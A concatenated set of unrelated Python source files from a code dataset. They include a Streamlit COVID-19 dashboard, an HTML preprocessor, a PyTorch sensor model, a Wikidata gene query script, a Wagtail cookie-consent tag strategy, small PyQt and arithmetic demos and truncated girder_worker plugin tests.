cols=2,\r\n specs=[[{}, {}],\r\n [{\"colspan\": 2}, None]],\r\n subplot_titles=(country1,country2))\r\n\r\n fig.add_trace(go.Bar(x=df_country1['date'], y=df_country1['total_cases'],\r\n marker=dict(color=df_country1['total_cases'], coloraxis=\"coloraxis\")),1, 1)\r\n\r\n fig.add_trace(go.Bar(x=df_country2['date'], y=df_country2['total_cases'],\r\n marker=dict(color=df_country2['total_cases'], coloraxis=\"coloraxis\")),1, 2)\r\n \r\n fig.update_layout(coloraxis=dict(colorscale='Bluered_r'), showlegend=False,title_text=\"Total Confirmed cases(Cumulative)\")\r\n\r\n fig.update_layout(plot_bgcolor='rgb(230, 230, 230)')\r\n st.plotly_chart(fig)\r\n\r\ndef covidTrend(country1,country2,df): \r\n df_country1= df.sort_values(\"date\", ascending=True).reset_index().query('location==\"{}\"'.format(country1))\r\n df_country1['date'] = pd.to_datetime(df_country1['date'], format='%Y-%m-%d')\r\n df_country1 = df_country1.query(\"date >= '2020-02-01' \") \r\n df_country2 = df.sort_values(\"date\", ascending=True).reset_index().query('location==\"{}\"'.format(country2))\r\n df_country2['date'] = pd.to_datetime(df_country2['date'], format='%Y-%m-%d') \r\n fig = make_subplots(rows=2, cols=2, specs=[[{}, {}], [{\"colspan\": 2}, None]], subplot_titles=(country1,country2))\r\n fig.add_trace(go.Scatter(x=df_country1['date'], y=df_country2['new_cases'], marker=dict(color=df_country1['total_cases'], coloraxis=\"coloraxis\")), 1, 1)\r\n fig.add_trace(go.Scatter(x=df_country2['date'], y=df_country2['new_cases'], marker=dict(color=df_country2['total_cases'], coloraxis=\"coloraxis\")), 1, 2)\r\n fig.update_layout(coloraxis=dict(colorscale='Bluered_r'), showlegend=False,title_text=\"Trend of New Coronavirus cases\")\r\n fig.update_layout(plot_bgcolor='rgb(250, 242, 242)')\r\n st.plotly_chart(fig)\r\n\r\ndef explorerData(df_country):\r\n st.title(\"Welcome to the Covid-19 Tracker Application\")\r\n st.markdown(\"\"\" \r\n \"\"\")\r\n # Summary Table\r\n\r\n st.header(f'Summary Table for the last {table_days} days.')\r\n \r\n st.markdown(\"\"\" This table includes the number of cases, deaths, new cases and moving average for your selection.\"\"\")\r\n\r\n #st.write(df_county.iloc[-table_days:,-4:])\r\n\r\n a = df_country.iloc[-table_days:, -4:]\r\n \r\n my_table = st.table(a)\r\n\r\n\r\n # Total Cases Graph\r\n\r\n st.header(f'Total Cases for {country}.')\r\n \r\n total_cases_chart = df_country['total_cases']\r\n\r\n \r\n st.line_chart(total_cases_chart)\r\n\r\n \r\n # Moving Average Graph\r\n\r\n st.header(f'{moving_average_day} moving average for {country}.')\r\n \r\n moving_average_chart = df_country['moving_average']\r\n \r\n st.line_chart(moving_average_chart)\r\n\r\n \r\n # Death Graph\r\n\r\n st.header(f'Total Deaths for {country}.')\r\n \r\n total_deaths_chart = df_country['total_deaths']\r\n \r\n st.line_chart(total_deaths_chart) \r\n\r\n#Solidity Example\r\n\r\n#main function\r\nif __name__ == \"__main__\": \r\n # todo global cols lists. One for cors and one for UI\r\n cols = [\r\n \"Infection Fatality Rate\",\r\n \"new_cases\",\r\n \"new_deaths\",\r\n \"hosp_patients\",\r\n \"icu_patients\",\r\n \"percentPositive\",\r\n \"total_tests\", \r\n ] \r\n \r\n w, h, = (\r\n 900,\r\n 400,\r\n )\r\n df_covid= pd.read_csv(\"Data/owid-covid-data.csv\")\r\n countries = pd.read_csv(\"Data/owid-covid-data.csv\")[\"location\"].unique()\r\n\r\n with st.sidebar:\r\n st.title(\"Covid-19 Data Explorer\")\r\n st.subheader(\"Select a page below:\")\r\n mode = st.radio(\r\n \"Menu\",\r\n [\r\n \"COVID Explorer\",\r\n \"Correlation Explorer\",\r\n \"Linear Regression\",\r\n \"TimeSeries Analysis\",\r\n \"BlockVax\"\r\n ],\r\n )\r\n st.subheader(\"Select a Country:\") \r\n country = st.selectbox(\"\",countries, index=37)\r\n\r\n # https://docs.streamlit.io/en/stable/troubleshooting/caching_issues.html#how-to-fix-the-cached-object-mutated-warning\r\n df = copy.deepcopy(process_data(country)) \r\n\r\n if mode == \"COVID Explorer\": \r\n st.sidebar.header(\"Covid-19 Data Explorer\") \r\n #country = st.sidebar.selectbox('Select Your Country:',countries) \r\n table_days = st.sidebar.slider('Select the number of days you want to be display in the Summary Table. ', min_value = 3, max_value= 15, value= 5, step=1)\r\n moving_average_day = st.sidebar.slider('How many days to consider for the moving average? ', min_value = 5, max_value = 14, value = 7, step=1)\r\n # Creating the dataframe for the country\r\n df_country = df_covid[(df_covid.location == country)].copy()\r\n \r\n #Create a new column for 7-day moving average\r\n df_country['moving_average'] = df_country.loc[:,'new_cases'].rolling(window=moving_average_day).mean()\r\n if (country != \"\"):\r\n explorerData(df_country)\r\n elif mode == \"Correlation Explorer\":\r\n st.title(\"Interactive Correlation Explorer\")\r\n st.write(\"Choose two variables and see if they are correlated.\")\r\n cols, a, b, lookback = get_shifted_correlations(df, cols) \r\n elif mode ==\"Linear Regression\": \r\n linearRegression(df_covid,country)\r\n elif mode ==\"TimeSeries Analysis\": \r\n st.sidebar.subheader(\"Select a Comparison Country:\") \r\n country1 = st.sidebar.selectbox(\"\",countries, index=45)\r\n if (country == country1):\r\n st.write(\"Please select different Comparison Country\")\r\n elif (country != \"\" and country1 !=\"\"):\r\n TimeSeries(country,country1,df_covid)\r\n #cumulativeCases(country,country1,df_covid)\r\n covidTrend(country,country1,df_covid)\r\n elif mode == \"BlockVax\":\r\n st.title(\"Introducing BlockVax - Profile and Vaccine Data Registration\")\r\n st.subheader(\"\\n\")\r\n \r\n st.markdown(\"\"\"\r\n BlockVax is a smart contract which interacts with the ethereum network to allow users to register a profile for themselves or others, generating a unique patient ID number and storing the profile data in a profile struct as part of a mapping. Their profile registration will require their address as well as a photo ID, which will be uploaded to [pinata](https://pinata.cloud/) and stored via an IPFS hash.\r\n \"\"\")\r\n img = Image.open(\"Images\\image1.png\")\r\n st.image(img, width=200) \r\n st.image(\"Images\\image2.png\", width=200)\r\n \r\n \r\n st.markdown(\"\"\" \r\n Once a profile has been created, registered vaccine providers are able to update vaccine data of vaccinated patients by using the patient's address and ID number and photo URI as part of our token JSON scehma shown below. \"\"\")\r\n \r\n st.image(\"Images\\image3.png\", width=200)\r\n \r\n \r\n st.write(\"This function will then mint a non-fungible token using the patient's address and ID number and set the token URI, as well as update the patient's profile with the vaccine data.\") \r\n st.image(\"Images\\image4.png\", width=200)\r\n \r\n st.write(\"Modifier's were created to restrsict function access and to ensure only the right data can be inputted, since this contract interacts with a blockchain and hence immutable, we do not want to waste gas fees on data errors or accidentally input incorrect data.\")\r\n \r\n st.markdown(\"\"\" Requirements include:\r\n * Restriction of provider function use to only providers registered in the contract\r\n * The vaccine name having to match our stored vaccine names\r\n * Only valid patient IDs\r\n * Only registered/valid patient addresses can be inputted\r\n \"\"\")\r\n st.image(\"Images\\image5.png\", width=200)\r\n \r\n st.image(\"Images\\image6.png\", width=200)\r\n \r\n st.markdown(\"\"\"Finally, our last function allows the user to search for a patient ID and check if they've been vaccinated. \r\n \"\"\")\r\n st.image(\"Images\\image7.png\", width=200)\r\n","sub_path":"finalmain.py","file_name":"finalmain.py","file_ext":"py","file_size_in_byte":18435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"216003634","text":"\n\n\nimport WebMirror.PreProcessors.PreProcessorBase\nimport urllib.parse\nimport bs4\nimport WebRequest\n\n\n\nclass CreativeNovelsPreprocessor(WebMirror.PreProcessors.PreProcessorBase.ContentPreprocessor):\n\n\tloggerPath = \"Main.Preprocessor.JsRenderer\"\n\n\tdef preprocessContent(self, url, mimetype, contentstr):\n\t\tif mimetype != 'text/html':\n\t\t\treturn contentstr\n\n\t\tif isinstance(contentstr, bytes):\n\t\t\tcontentstr = bs4.UnicodeDammit(contentstr).unicode_markup\n\n\t\tsoup = WebRequest.as_soup(contentstr)\n\t\tnext_chp_links = soup.find_all(\"a\", class_='nextkey')\n\t\tprev_chp_links = soup.find_all(\"a\", class_='prevkey')\n\n\t\tfor tag in next_chp_links:\n\t\t\ttag.string = \"Next chapter\"\n\t\tfor tag in prev_chp_links:\n\t\t\ttag.string = \"Previous chapter\"\n\n\t\tfor bogus in soup.find_all(\"div\", class_='x-modal-content'):\n\t\t\tbogus.decompose()\n\t\tfor bogus in soup.find_all(\"div\", class_='wpdiscuz_unauth'):\n\t\t\tbogus.decompose()\n\t\tfor bogus in soup.find_all(\"div\", class_='wpd-default'):\n\t\t\tbogus.decompose()\n\t\tfor bogus in soup.find_all(\"div\", class_='imagepost'):\n\t\t\tbogus.decompose()\n\t\tfor bogus in soup.find_all(\"div\", class_='donation'):\n\t\t\tbogus.decompose()\n\t\tfor bogus in soup.find_all(\"form\", class_='x-search'):\n\t\t\tbogus.decompose()\n\t\tfor bogus in soup.find_all(\"ul\", class_='x-menu'):\n\t\t\tbogus.decompose()\n\t\tfor bogus in soup.find_all(\"div\", class_='comments-area'):\n\t\t\tbogus.decompose()\n\t\tfor bogus in soup.find_all(\"div\", class_='respond'):\n\t\t\tbogus.decompose()\n\t\tfor bogus in soup.find_all(\"div\", class_='x-bar-space-v'):\n\t\t\tbogus.decompose()\n\t\tfor bogus in soup.find_all(\"div\", class_='e23-20'):\n\t\t\tbogus.decompose()\n\t\tfor bogus in soup.find_all(\"button\"):\n\t\t\tbogus.decompose()\n\t\tfor bogus in soup.find_all(\"a\", id='wpdUserContentInfoAnchor'):\n\t\t\tbogus.decompose()\n\t\tfor bogus in soup.find_all(\"div\", id='wpdUserContentInfo'):\n\t\t\tbogus.decompose()\n\n\t\tappends = []\n\t\tfor item in soup.find_all('div', class_='togglepost'):\n\t\t\t# print(\"found append\")\n\t\t\tappends.append(item.extract())\n\n\t\ttgtdiv = soup.find(\"article\", class_='post')\n\n\t\tif tgtdiv:\n\t\t\ttgtdiv = tgtdiv.parent.parent\n\t\t\ttgtdiv.append(soup.new_tag('hr'))\n\t\t\tfor append in appends:\n\t\t\t\t# print(\"Appending:\", append)\n\t\t\t\ttgtdiv.append(append)\n\n\t\t# There should only ever be one of these.\n\t\tfor mature_div in soup.find_all(\"div\", class_='include_content_rating'):\n\t\t\tfor item in mature_div.find_all('div', class_='list-group-item'):\n\t\t\t\titem.decompose()\n\n\t\treturn soup.prettify()\n\n\t@staticmethod\n\tdef wantsUrl(url):\n\t\tnetloc = urllib.parse.urlsplit(url).netloc\n\t\tif netloc.lower().endswith(\"creativenovels.com\"):\n\t\t\tprint(\"CreativeNovelsPreprocessor wants URL: %s\" % url)\n\t\t\treturn True\n\n\t\treturn False\n","sub_path":"WebMirror/PreProcessors/CreativeNovelsPreprocess.py","file_name":"CreativeNovelsPreprocess.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"555686887","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport math\n\nSEPCTURAL_SAMPLES = 10\nFEATURE_DIM = SEPCTURAL_SAMPLES * 6 * 2\nCONV_LEN = 3\nCONV_LEN_INTE = 3 # 4\nCONV_LEN_LAST = 3 # 5\nCONV_NUM = 64\nCONV_MERGE_LEN = 8\nCONV_MERGE_LEN2 = 6\nCONV_MERGE_LEN3 = 4\nCONV_NUM2 = 64\nINTER_DIM = 120\nOUT_DIM = 6 # len(idDict)\nWIDE = 20\n\n\n###### Import training data\n\n\nclass SingleSensorTransformer(nn.Module):\n def __init__(self, args, n_feature=3):\n super(SingleSensorTransformer, self).__init__()\n self.conv1 = nn.Conv2d(in_channels=1, out_channels=CONV_NUM,\n kernel_size=(2 * 3 * CONV_LEN, 1), stride=(2 * 3, 1), padding=0)\n self.batch_norm1 = nn.BatchNorm2d(CONV_NUM)\n\n self.relu1 = nn.ReLU()\n self.dropout1 = nn.Dropout(p=args.dropout)\n\n self.conv2 = nn.Conv2d(in_channels=CONV_NUM, out_channels=CONV_NUM,\n kernel_size=(CONV_LEN_INTE, 1), stride=(1, 1), padding=0)\n self.batch_norm2 = nn.BatchNorm2d(CONV_NUM)\n self.relu2 = nn.ReLU()\n self.dropout2 = nn.Dropout(p=args.dropout)\n\n self.conv3 = nn.Conv2d(in_channels=CONV_NUM, out_channels=CONV_NUM,\n kernel_size=(CONV_LEN_LAST, 1), stride=(1, 1), padding=0)\n self.batch_norm3 = nn.BatchNorm2d(CONV_NUM)\n self.relu3 = nn.ReLU()\n\n def forward(self, x):\n \"\"\"\n\n :param x: b(batch, channel, length)\n :return:\n \"\"\"\n # Assume that x (batch, wide, feature_dim, channel=1)\n\n # (batch, wide, feature_dim, channel = 1)\n x = self.conv1(x)\n x = self.batch_norm1(x)\n x = self.relu1(x)\n x = self.dropout1(x)\n\n x = self.conv2(x)\n x = self.batch_norm2(x)\n x = self.relu2(x)\n x = self.dropout2(x)\n\n x = self.conv3(x)\n x = self.batch_norm3(x)\n x = self.relu3(x)\n return x\n\n\nclass MultipSensorTransformer(nn.Module):\n def __init__(self, args):\n super(MultipSensorTransformer, self).__init__()\n n_feature = CONV_NUM * 3\n self.conv1 = nn.Conv2d(in_channels=CONV_NUM * 3, out_channels=CONV_NUM2,\n kernel_size=(2 * 3 * CONV_LEN, 1), stride=(CONV_MERGE_LEN, 1), padding=0)\n self.batch_norm1 = nn.BatchNorm2d(CONV_NUM2)\n\n self.relu1 = nn.ReLU()\n self.dropout1 = nn.Dropout(p=args.dropout)\n\n self.conv2 = nn.Conv2d(in_channels=CONV_NUM2, out_channels=CONV_NUM2,\n kernel_size=(CONV_LEN_INTE, 1), stride=(CONV_MERGE_LEN2, 1), padding=0)\n self.batch_norm2 = nn.BatchNorm2d(CONV_NUM2)\n self.relu2 = nn.ReLU()\n self.dropout2 = nn.Dropout(p=args.dropout)\n\n self.conv3 = nn.Conv2d(in_channels=CONV_NUM2, out_channels=CONV_NUM2,\n kernel_size=(CONV_LEN_LAST, 1), stride=(CONV_MERGE_LEN3, 1), padding=0)\n self.batch_norm3 = nn.BatchNorm2d(CONV_NUM2)\n self.relu3 = nn.ReLU()\n\n def forward(self, x):\n # Assume that x (batch, wide, feature_dim, channel=1)\n x = self.dropout1(x)\n x = self.conv1(x)\n x = self.batch_norm1(x)\n x = self.relu1()\n\n x = self.dropout2(x)\n x = self.conv2(x)\n x = self.batch_norm2(x)\n x = self.relu2()\n\n x = self.dropout3(x)\n x = self.conv3(x)\n x = self.batch_norm3(x)\n x = self.relu3()\n\n return x\n\n\n# Define the model\nclass DeepSense(nn.Module):\n def __init__(self, args, n_feature, n_class):\n super(DeepSense, self).__init__()\n w = args.window_size\n p = self.tpoint = args.tpoint\n\n self.n_class = n_class\n self.n_feature = n_feature\n self.hidden_size = args.unit\n dropout = args.dropout\n if w % args.tpoint == 0:\n self.rnn_step = w / p\n else:\n self.rnn_step = w / p + 1\n padding_size = self.rnn_step * p - w\n self.padding = nn.ZeroPad2d((0, 0, padding_size, 0))\n\n # print(' | Input dim: %d' % (self.input_dim))\n # print(' | RNN step: %d' % (self.rnn_step))\n # print(' | Tpoint step: %d' % (p))\n # print(' | Feature: %d' % (n_feature))\n # print(' | Padding: %d' % (padding_size))\n # print(' | RNN layer: %d' % (args.layer))\n self.n_class = n_class\n\n self.acce_shoe_net = SingleSensorTransformer(args, n_feature=3)\n self.acce_watch_net = SingleSensorTransformer(args, n_feature=3)\n self.gyro_net = SingleSensorTransformer(args, n_feature=3)\n\n self.sensor_net = MultipSensorTransformer(args)\n\n self.rnn = nn.GRU(self.hidden_size, self.hidden_size, num_layers=2,\n dropout=dropout, batch_first=True, bidirectional=False)\n\n self.dense =nn.Linear(self.hidden_size, self.n_class)\n\n def forward(self, x, hidden=None):\n \"\"\"\n\n :param x: batch_size x (tpoint_per_step * recurrent_step) x n_feature\n :param hidden:\n :return:\n \"\"\"\n print('-')\n\n print(x.shape)\n # Split into three parts\n # (batch, length, feature_dim) -> (batch, channel=1, length, feature_dim)\n x = torch.unsqueeze(x, 1)\n x_acc_shoe, x_acc_watch, x_gyro = torch.split(x, split_size=3, dim=3)\n # x_acc_shoe = Variable(torch.transpose(x_acc_shoe, 1, 2))\n # x_acc_watch = Variable(torch.transpose(x_acc_watch, 1, 2))\n # x_gyro = Variable(torch.transpose(x_gyro, 1, 2))\n\n x_acc_shoe = Variable(x_acc_shoe)\n x_acc_watch = Variable(x_acc_watch)\n x_gyro = Variable(x_gyro)\n\n print(x_acc_shoe.shape)\n print(x_acc_watch.shape)\n print(x_gyro.shape)\n\n x_acc_shoe = self.acce_shoe_net(x_acc_shoe)\n x_acc_watch = self.acce_watch_net(x_acc_watch)\n x_gyro = self.gyro_net(x_gyro)\n\n print('-')\n print(x_gyro.shape)\n\n x = torch.cat([x_acc_shoe, x_acc_watch, x_gyro])\n x = self.sensor_net(x)\n\n x, hidden = self.rnn(x)\n\n x = self.dense(x)\n\n return x\n","sub_path":"src/model/deepsense.py","file_name":"deepsense.py","file_ext":"py","file_size_in_byte":6056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"646329036","text":"\"\"\"Output TSV of English Wikipedia article names to gene symbols\n\nFor example, the page https://en.wikipedia.org/wiki/Tumor_necrosis_factor maps\nto the gene symbol \"TNF\". This is output as:\n\nTumor_necrosis_factor\tTNF\n\nin `gene_page_map.tsv`. This script uses the Wikidata Query Service\n(https://query.wikidata.org/) to make a SPARQL query linking articles to\ngenes symbols. The output TSV is used by `views.py`.\n\"\"\"\n\nfrom SPARQLWrapper import SPARQLWrapper, JSON\nfrom pandas import json_normalize\n\noutput_path = \"./data/gene_page_map.tsv\"\n\ndef query_wikidata(sparql_query, sparql_service_url):\n \"\"\"Query endpoint with given query string and return the results as a\n pandas Dataframe.\n \"\"\"\n sparql = SPARQLWrapper(sparql_service_url, agent=\"chrome\")\n\n sparql.setQuery(sparql_query)\n sparql.setReturnFormat(JSON)\n\n result = sparql.query().convert()\n return json_normalize(result[\"results\"][\"bindings\"])\n\ndef query_human_genes_special():\n \"\"\"Execute SPARQL query for article names for special human genes\n\n Some articles about genes are modeled as proteins on Wikidata.\n These tend to be prominent genes, like BRCA1 and TP53.\n \"\"\"\n print(\"Querying human genes, special case...\")\n endpoint_url = \"https://query.wikidata.org/sparql\"\n query = \"\"\"\n SELECT DISTINCT ?item ?gene_symbol ?titleLabel WHERE {\n ?protein schema:about ?item;\n schema:isPartOf ;\n schema:name ?title.\n BIND(REPLACE(STR(?title), \"\\\\\\\\ \", \"_\") AS ?titleLabel)\n ?item wdt:P31 wd:Q8054. # is a protein\n ?item wdt:P703 wd:Q15978631. # found in human\n ?item wdt:P702 ?gene.\n ?gene wdt:P353 ?gene_symbol.\n }\n \"\"\"\n return query_wikidata(query, endpoint_url)\n\ndef query_human_genes_general():\n \"\"\"Execute SPARQL query for article names for general human genes\n\n Almost all articles about genes are modeled as genes on Wikidata.\n This handles the common case.\n \"\"\"\n print(\"Querying human genes, general case...\")\n endpoint_url = \"https://query.wikidata.org/sparql\"\n query = \"\"\"\n SELECT DISTINCT ?item ?ncbi_gene ?itemLabel ?titleLabel WHERE {\n ?gene schema:about ?item;\n schema:isPartOf ;\n schema:name ?title.\n BIND(REPLACE(STR(?title), \"\\\\\\\\ \", \"_\") AS ?titleLabel)\n ?item wdt:P351 ?ncbi_gene;\n wdt:P703 wd:Q15978631. # found in human\n SERVICE wikibase:label\n { bd:serviceParam wikibase:language \"[AUTO_LANGUAGE],en\". }\n }\"\"\"\n\n return query_wikidata(query, endpoint_url)\n\ndef save_human_genes(data_special, data_general, output_path):\n \"\"\"Save results of the gene query locally\n \"\"\"\n print(\"Saving results of gene query locally...\")\n data_special[[\"titleLabel.value\", \"gene_symbol.value\"]].rename(\n columns=lambda col: col.replace(\"Label.value\", \"\")\n ).to_csv(output_path, sep=\"\\t\", index=False)\n data_general[[\"titleLabel.value\", \"itemLabel.value\"]].rename(\n columns=lambda col: col.replace(\"Label.value\", \"\")\n ).to_csv(output_path, sep=\"\\t\", index=False, mode=\"a\", header=False)\n print(\"Results saved to: \" + output_path)\n\n\ngenes_special = query_human_genes_special()\ngenes_general = query_human_genes_general()\nsave_human_genes(genes_special, genes_general, output_path)\n","sub_path":"gene_hints/views/generate_gene_page_map.py","file_name":"generate_gene_page_map.py","file_ext":"py","file_size_in_byte":3373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"643837073","text":"from django.db.models import Q\n\nfrom wagtail_tag_manager.models import Tag, Trigger, TagTypeSettings\n\n\nclass TagStrategy(object):\n def __init__(self, request, consent=None):\n self._request = request\n self._consent = consent\n self._context = Tag.create_context(request)\n\n self._cookies = request.COOKIES\n self._config = TagTypeSettings.all()\n self._tags = []\n\n self.cookies = {}\n\n self.define_strategy()\n\n # https://gist.github.com/jberghoef/9ffa2b738cbb0aab624ff091dc6fe9a7\n def define_strategy(self):\n for tag_type, tag_config in self._config.items():\n handler = getattr(self, self._request.method.lower(), None)\n if handler:\n handler(tag_type, tag_config)\n\n def get(self, tag_type, tag_config):\n cookie_name = Tag.get_cookie_name(tag_type)\n cookie = self._cookies.get(cookie_name, None)\n\n if tag_config == \"required\":\n # Include required instant tags\n # Include required cookie\n self._tags.append((Tag.INSTANT_LOAD, tag_type))\n self.cookies[cookie_name] = \"true\"\n elif tag_config == \"initial\":\n if not cookie or cookie == \"unset\":\n # Include initial cookie\n self.cookies[cookie_name] = \"unset\"\n elif cookie == \"true\":\n # Include initial instant tags\n self._tags.append((Tag.INSTANT_LOAD, tag_type))\n self.cookies[cookie_name] = \"true\"\n else:\n if cookie == \"true\":\n # Include generic instant tags\n self._tags.append((Tag.INSTANT_LOAD, tag_type))\n self.cookies[cookie_name] = \"true\"\n\n def post(self, tag_type, tag_config):\n cookie_name = Tag.get_cookie_name(tag_type)\n cookie = self._cookies.get(cookie_name, None)\n\n if tag_config == \"required\":\n # Include required lazy tags\n # Include required cookie\n if self._consent is None:\n self._tags.append((Tag.LAZY_LOAD, tag_type))\n if cookie != \"true\":\n self.cookies[cookie_name] = \"true\"\n\n elif self._consent is None:\n if tag_config == \"initial\":\n if cookie == \"unset\":\n # Include initial lazy tags\n # Include initial instant tags\n self._tags.append((Tag.LAZY_LOAD, tag_type))\n self._tags.append((Tag.INSTANT_LOAD, tag_type))\n elif cookie == \"true\":\n # Include initial lazy tags\n self._tags.append((Tag.LAZY_LOAD, tag_type))\n else:\n if cookie == \"true\":\n # Include generic lazy tags\n self._tags.append((Tag.LAZY_LOAD, tag_type))\n\n elif self._consent is True:\n if tag_config == \"initial\":\n if cookie == \"false\":\n # Include initial lazy tags\n # Include initial instant tags\n # Include initial cookie\n self._tags.append((Tag.LAZY_LOAD, tag_type))\n self._tags.append((Tag.INSTANT_LOAD, tag_type))\n self.cookies[cookie_name] = \"true\"\n else:\n if cookie == \"true\":\n pass\n else:\n # Include generic lazy tags\n # Include generic instant tags\n # Include generic cookie\n self._tags.append((Tag.LAZY_LOAD, tag_type))\n self._tags.append((Tag.INSTANT_LOAD, tag_type))\n self.cookies[cookie_name] = \"true\"\n\n elif self._consent is False:\n self.cookies[cookie_name] = \"false\"\n\n def should_include(self, tag_type, tag_config):\n cookie_name = Tag.get_cookie_name(tag_type)\n cookie = self._cookies.get(cookie_name, None)\n\n if tag_config == \"required\":\n return True\n elif tag_config == \"initial\":\n if not cookie or cookie == \"unset\" or cookie == \"true\":\n return True\n else:\n if cookie == \"true\":\n return True\n\n @property\n def queryset(self):\n queryset = Q()\n for tag_type in self._tags:\n queryset.add(Q(tag_loading=tag_type[0]) & Q(tag_type=tag_type[1]), Q.OR)\n return queryset\n\n @property\n def tags(self):\n if self._tags:\n return Tag.objects.active().filter(self.queryset)\n else:\n return Tag.objects.none()\n\n @property\n def result(self):\n result = [\n {\"object\": tag, \"element\": tag.get_doc(self._request, self._context)}\n for tag in self.tags\n ]\n\n for trigger in Trigger.objects.active():\n match = trigger.match(self._request)\n if match is not None:\n for tag in trigger.tags.filter(self.queryset):\n result.append(\n {\n \"object\": tag,\n \"element\": tag.get_doc(\n self._request, {**self._context, **match.groupdict()}\n ),\n }\n )\n\n return result\n\n @property\n def cookie_state(self):\n return {\n tag_type: self.cookies.get(Tag.get_cookie_name(tag_type), \"false\")\n != \"false\"\n for tag_type in Tag.get_types()\n }\n","sub_path":"src/wagtail_tag_manager/strategy.py","file_name":"strategy.py","file_ext":"py","file_size_in_byte":5552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"510929672","text":"import sys\nimport random\nfrom PyQt5 import QtWidgets, QtGui, QtCore\n\nclass MyApp(QtWidgets.QWidget):\n def __init__(self):\n super().__init__()\n\n self.ed_1 = QtWidgets.QTextEdit()\n self.ed_2 = QtWidgets.QLineEdit()\n\n self.lbl_1 = QtWidgets.QLabel(\"count:\")\n\n self.btn_next = QtWidgets.QPushButton(\"Next\")\n self.btn_back = QtWidgets.QPushButton(\"Back\")\n\n self.h_box = QtWidgets.QHBoxLayout()\n self.v_box = QtWidgets.QVBoxLayout()\n\n self.set_up()\n self.show()\n\n def set_up(self):\n self.setFont(QtGui.QFont(\"Arial\", 12))\n self.setWindowTitle(\"Hello Word!\")\n self.setGeometry(100, 100, 600, 400)\n icons = {\n 0: QtGui.QIcon(\"icon\\\\chameleon.ico\"),\n 1: QtGui.QIcon(\"icon\\\\aol_mail.ico\"),\n 2: QtGui.QIcon(\"icon\\\\emotion_darth_wader.ico\")\n }\n\n self.setWindowIcon(icons.get((random.randint(0, 9) % 3)))\n\n text = \"\"\"In this text I want to highlight this zzwordyy and only this word.\\n\"\"\" + \\\n \"\"\"Any other word shouldn't be highlighted\"\"\"\n self.ed_1.setText(text)\n\n self.ed_2.setValidator(QtGui.QIntValidator())\n\n self.h_box.addWidget(self.lbl_1)\n self.h_box.addWidget(self.ed_2)\n\n self.btn_next.clicked.connect(self.btn_next_click)\n self.btn_back.clicked.connect(self.btn_back_click)\n self.h_box.addWidget(self.btn_next)\n self.h_box.addWidget(self.btn_back)\n\n self.v_box.addWidget(self.ed_1)\n self.v_box.addLayout(self.h_box)\n\n self.setLayout(self.v_box)\n\n def btn_next_click(self):\n try:\n cursor = self.ed_1.textCursor()\n print(cursor.position())\n self.ed_1.setFocus()\n if self.ed_2.text():\n # cursor.setPosition(int(self.ed_2.text()))\n cursor.movePosition(QtGui.QTextCursor.Right, QtGui.QTextCursor.MoveAnchor, int(self.ed_2.text()))\n print(cursor.block().text())\n print(cursor.position())\n self.ed_1.setTextCursor(cursor)\n except Exception as e:\n print(e)\n\n def btn_back_click(self):\n cursor = self.ed_1.textCursor()\n\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication(sys.argv)\n window = MyApp()\n sys.exit(app.exec_())","sub_path":"PyQtPractice/TextCursor.py","file_name":"TextCursor.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"20617926","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nWrite a program which contains one function named as Add() which accepts two numbers\r\nfrom user and return addition of that two numbers.\r\nInput : 11 5 Output : 16\r\n4.Write a program which display 5 times Marvellous\r\n\"\"\"\r\n\r\ndef add(x,y):\r\n z=x+y\r\n return z\r\n \r\ndef main():\r\n no1=int(input(\"enter the number\"))\r\n no2=int(input(\"enter the number\"))\r\n p=add(no1,no2)\r\n print(\"addition of{} and {} is {}\".format(no1,no2,p))\r\n\r\nif __name__==\"__main__\":\r\n main() ","sub_path":"1 .assignments/3 addition.py","file_name":"3 addition.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"174643671","text":"import functools\nimport mock\nfrom StringIO import StringIO\nimport unittest\n\nfrom girder_worker_utils import decorators\nfrom girder_worker_utils import types\nfrom girder_worker import entrypoint\nfrom girder_worker.__main__ import main\nfrom girder_worker.app import app\n\n\nclass set_namespace(object):\n def __init__(self, namespace):\n self.namespace = namespace\n\n def __call__(self, func):\n @functools.wraps(func)\n def wrapped(*args, **kwargs):\n original = entrypoint.NAMESPACE\n entrypoint.NAMESPACE = self.namespace\n try:\n result = func(*args, **kwargs)\n finally:\n entrypoint.NAMESPACE = original\n return result\n return wrapped\n\n\nclass TestTaskPlugin(unittest.TestCase):\n @set_namespace('girder_worker._test_plugins.valid_plugins')\n def test_get_extension_manager(self):\n mgr = entrypoint.get_extension_manager()\n names = sorted(mgr.names())\n self.assertEqual(names, ['core', 'plugin1', 'plugin2'])\n\n @set_namespace('girder_worker._test_plugins.valid_plugins')\n def test_get_core_task_modules(self):\n modules = entrypoint.get_core_task_modules()\n self.assertEqual(modules, ['os.path'])\n\n @set_namespace('girder_worker._test_plugins.valid_plugins')\n @mock.patch('girder_worker.entrypoint.import_module')\n def test_import_all_includes(self, imp):\n entrypoint.import_all_includes()\n imp.assert_has_calls(\n (mock.call('os.path'), mock.call('girder_worker._test_plugins.tasks')),\n any_order=True\n )\n\n @set_namespace('girder_worker._test_plugins.invalid_plugins')\n @mock.patch('sys.stderr', new_callable=StringIO)\n @mock.patch('sys.stdout', new_callable=StringIO)\n def test_invalid_plugins(self, stdout, stderr):\n entrypoint.get_plugin_task_modules()\n lines = stdout.getvalue().splitlines()\n self.assertEqual(len(lines), 4)\n for line in lines:\n self.assertRegexpMatches(\n line, '^Problem.*(exception[12]|invalid|import), skipping$'\n )\n\n self.assertEqual(entrypoint.get_core_task_modules(), ['os.path'])\n\n @mock.patch('girder_worker.__main__.app')\n def test_core_plugin(self, app):\n main()\n 